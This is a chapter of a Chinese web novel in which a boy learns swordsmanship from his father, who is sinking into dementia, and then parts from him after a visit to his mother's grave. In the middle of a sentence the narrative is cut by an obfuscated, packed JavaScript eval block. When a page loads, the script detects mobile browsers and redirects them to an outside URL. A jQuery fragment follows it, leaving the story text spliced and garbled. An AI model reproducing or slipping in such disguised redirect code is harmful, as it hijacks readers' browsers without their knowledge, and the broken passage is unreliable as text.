58. 缘定(三)

作品:《玳岁始冬

    岁末新夕。


    华南箫此一趟逗留,不知不觉间竟是直接待到了洛秋池她们归来。


    甫一忙完前厅诸多事务,白术便带着刚熬好不久的药浆往后院赶。


    还未踏入最后那道月洞门,就听得宝剑铮铮破空,半空中竹篙瞬即断裂落地,干脆利落碎成两截。


    那两人又练上了。


    瓷盅尚且散发着滚烫热气,见华款冬专心致志学着一招一式,华南箫亦丝毫没有懈怠之意,白术索性将乌木托盘往靠檐柱近的坐凳板上一放,抱胸默然赏着二人风姿。


    如若不是先前仔细着探过华款冬根骨,实非是个适合练武的料。


    仅凭现下亲眼所观,白术真得怀疑华款冬是那降世武曲星。


    华南箫这边才将挥剑诀窍传授演练一遍,冗杂步法还未提及,那边随华款冬挽起的剑花一道自然顺畅迈出的,便是最适合他的步伐招式。


    稍一提点,那小白萝卜便顷刻间醍醐灌顶。


    华南箫原还担心因着那父子嫌隙,若华款冬做得不好,他也不敢讲些重话,忧虑该如何处理。


    为此,愁得整宿整宿不得安眠。


    哪曾想,日子一天天过去,华款冬活像会读心似的,什么错处都没漏。


    莫说责备,华南箫同华款冬在一处,嘴角就没放平过。


    眼中心里,俱是赏识欣慰。


    就是苦了院里那丛枯竹。


    不过陪着这初入门的小武将练了几日,便尽数秃了尖。


    好歹跟着自个学了这么些年医,未曾想这小子出招狠辣至极。


    倘若将竹木换作人,华款冬出剑那刻,对方便已然身首异处了。


    白术悄然看了几天,对华款冬功夫如此评价着。


    年岁尚小之际,心中藏事他能看穿,往后,怕是难以窥见喽。


    白术摇摇头,估摸着药温,扬声咳咳,引着大华小华的注意。


    纵使时至今日,白术仍未曾直接挑明为何要按时按量给华南箫配药。


    ·


    华款冬想探究其所为之背后缘故,却是丝毫不难。


    稍微仔细着揣摩一二华南箫前言后语,又留意一二白术给华南箫开的方子里常出没的几位药材,他便能知晓大概。


    可明面上,他依旧佯装不察异常,未让其余人知晓,数日来哪怕不甚赞同华南箫言语,他皆悄然忍着不耐,静静记着华南箫讲过的话。


    哪怕一句无心嘟囔,他也好好记下。


    因为,此时华南箫还知道他是谁,话里话外皆能明晰指向他。


    真正再度同华南箫聚首之际。


    华款冬以为,自己不会对这个只短暂存于少时记忆,又缺失许多春秋的男人,存有什么感情,可当看着华南箫如数家珍讲着他襁褓时期的故事,总不自觉有些鼻酸。


    童稚三岁,能烙印进脑中的事实在很少,听华南箫讲完,华款冬却觉得往昔画面刹那间历历在目。


    既已迈出第一步,与华款冬再度共处相同屋檐,华南箫难能免俗想同华款冬再亲近些。


    希冀能修补几分父子情谊,华南箫始终在找着各种话题。


    哪怕华款冬回应不多,可只要华款冬稍一点头,华南箫便会立马释出最愉悦的笑容,憨态尽显。


    给终于能与他们同食的华款冬盛第一份米糊时,因着樊纤口味淡,华南箫自己给自己偷偷加料加惯了,手一快竟是将华款冬那份也加了些辣粉,一点儿没意识到什么不对的华南箫就那样将亲子呛得连夜送去医馆,待华款冬情况稍缓,樊纤不顾医馆人多眼杂,直接就地将华南箫追着猛揍了一顿。


    “第五遍了。”


    华款冬喃喃自语,声调极轻。


    习武之人耳目应是究极敏锐,华南箫却浑然未觉华款冬悄声腹诽,仍自顾自沉浸在回忆间。


    原是已到这程度了么。


    华款冬倏尔抬眼,默然盯进华南箫眼底。


    随年岁增长,老者比不上少者御病之力,气候变化,疫气侵袭,伤处感染,俱会进一步加重老者身体御病负担。


    久而久之,趁虚而入的呆症便逐渐显现,蚕食尽那人剩余精气神,直至那人丧失自理之力,瘫倒卧榻,枯等阴差来引路。


    老者患之居多。


    惹上呆症,只能佐些增体质的药材,补充亏气,治标不治本。


    旷世医圣如白术,现下也没搏出个良策。


    思及此,华款冬脸上蓦然染上层落寞。


    如今支撑华南箫保持神智的,怕只剩樊纤其名,与那一身武艺。


    于武之道,华款冬无甚执著。


    可华南箫似乎特别想传授予他。


    许是最后道执念散去,不等瘫倒那步来临,华南箫便会去找樊纤了罢。


    华款冬闭上眼,润了润睁得有些涩的眸子,复而再睁开,又恢复寻常那派沉着模样。


    ·


    白术本就天生自信颇多,见华款冬着实黏华南箫黏得紧,还当他是经年久别,想念父亲想念得紧。


    赏味之余,蓦然又惊觉,这本就应当是这个年岁的稚子该有的,缠着父亲学武练艺的正常行径。


    华南箫却是全然在状况外,从被白术带到华款冬面前伊始,他便无知无觉将先前说的有要紧事要做忘了个干净。


    半推半就之际,他最终在白术居住了下来。


    本心驱使,他想教亲子些武功,以为会被兜头拒绝,未曾想华款冬出乎意料不排斥。


    一干事项按照心中所想顺利推进,让经历了大半辈子磋磨挫折的华南箫有些恍若隔世。


    活像升天前的最后幻想。


    华南箫总不合时宜这般想着,苦日子过惯了,好日子真来了,第一反应竟是怀疑。


    究竟是否真存在件事等他做,华南箫后来没再提。


    白术亦不曾发问提醒。


    好歹行医数十载,白术断没有放任已然有病症之人,不经救治,在他眼前打个照面就跑的道理。


    增体质的补药,有效用的,大多性烈。


    往昔碰见患上呆症的,多是不敢给其开猛药的耄耋之人。


    性温和之物,都得是以三年五载为一阶段,待能看到起效与否,患病之人早就一命呜呼了。


    真论起来,华南箫还算得上是白术遇上的头个如此年轻便遭此病灾的。


    白术变相“囚”华南箫于白术居。


    既可说是为白捡的好徒弟着想,帮其全力救治父亲,又可说是为始终攻不破呆症这道难关而谋求新一轮尝试。


    与一把年纪还干劲儿十足的白术相比,本应拥着灿烂活力的华款冬,反倒隐隐显得有些颓丧。


    分明有血缘牵系之人是他,他却恍若局外观光客一般,冷静分析着华南箫未尽生气。


    呆症带来的损伤是不可倒转的。


    他们都知道。


    却都默契瞒着没同华南箫讲实话。


    ·


    爆竹声声,辞旧迎新。


    洛秋池终于闲下来,带着白芨、华款冬风风火火筹备着团圆饭。


    他们欢喜,有一人却兀自在房中忧思。


    白术已然给华南箫下的几剂对症药,甫一入其体,俱如泥


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477165|164180||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    牛入海,了无回音。


    不等他再想出新的法子,雨水一过,为赶在清明前夕抵达樊纤墓前,华南箫带着华款冬踏上了回乡路。


    策马行进数十里,华南箫察觉华款冬正不停朝前方蛄蛹,一副十分想远离华南箫的姿态。


    心内不解,华南箫减缓了赶马速度后,稍稍低下头,靠近那稚子耳边,轻声询道:


    “冬儿,怎么了?可是有哪里不舒服?”


    “你此番一走,是不是,不再跟我回去了。”


    虽是疑问句式,自华款冬口中吐露出来,却十分笃定。


    着实为华款冬之敏锐所震惊的华南箫没再掩饰,闷闷嗯了声。


    “为什么?师父还在等你。”


    华款冬固执地只提及了白术,没说自己。


    “爹,能明白自己大限将至,就,就不留在白术居添乱了。”


    相处数月,华款冬仍旧没有喊他一声父亲,若说丝毫不甚挫败,那是假话。


    即将别离,他反倒脸皮厚了起来,开始兀自提起这称呼。


    “白术先生是位大善人,冬儿你有天分,日后跟着白先生一道专心研学药石医理,我与你娘在九泉之下,便能笑着迈过奈何桥喽。”


    语毕,华南箫还颇为没心没肺朗声一笑,趁白术居众人不注意,他早已将买来的半园杏苗尽数栽下了地。


    “你几时知晓的?”


    华款冬倏尔打断了那听得有些刺耳的笑声,神情严肃,仿佛分外疑惑华南箫有何好发笑的。


    这一回,华南箫却没能极快回答他。


    由于出发得早,行至此时,天光亦才真正破晓,万籁俱寂。


    “前天,我自梦中醒来,想趁着天色还早,预备去膳房,给冬儿做些你阿娘最喜欢的小食,可站在膳房的那一瞬间,我却如何也记不起,”


    华南箫猝不及防停顿,让华款冬有些困惑,正欲抬眸,便有片片热意自左肩阵阵涌来。


    华南箫,在哭。


    “任凭我如何想,如何思,如何忆。哪怕抓破脑袋,我竟是都记不起你阿娘生前最喜欢的小食是何物了。”


    华南箫颓然叹气出声,胡乱将泪抹尽后,这才收敛好情绪,同华款冬坦白道。


    华款冬闻言,一时有些呆愣,微张开嘴想说些什么安慰华南箫一二,却发现言语是如此匮乏,无力感如山倾般袭来,霎时堵住了他咽喉。


    此一遭,不再是生性寡言引来的沉默,而是说无可说。


    他甚至不敢回头,害怕对上华南箫视线,恐惧着华南箫绝不会说出口的质问。


    “所以我想,可能是你阿娘一个人久了,有些寂寞,以此事提点我赶紧去陪她呢。”


    华南箫沉浸在思念樊纤的愁绪之中,像是又忆起了那人皱着眉头捶打自己的模样,嘴角不由自主弯了几分,又补充道:


    “爹同冬儿快活过了这么些时日,你娘一定在暗处偷偷瞧着呢,真论及最想同冬儿一直待在一起之人,爹可远不及你阿娘。”


    “是爹娘对不住你,让你孤身一人在不相熟的地方过了那般长的年岁,今生缘浅,如若幸得来生,冬儿若还愿来寻爹娘,爹娘定然永远陪在你身侧,再不离分。”


    骗子。


    ·


    祭拜完樊纤,华南箫将华款冬护送到蕤仁坡杏林,便停了脚步。


    稍稍拍了拍马儿后,华南箫静静立于原地,目送着华款冬身影越来越远,直至消失于视线之外。


    他正欲转身离去,一声“爹,此去多保重”自远处悠悠传来。


    华南箫想,他死而无憾了。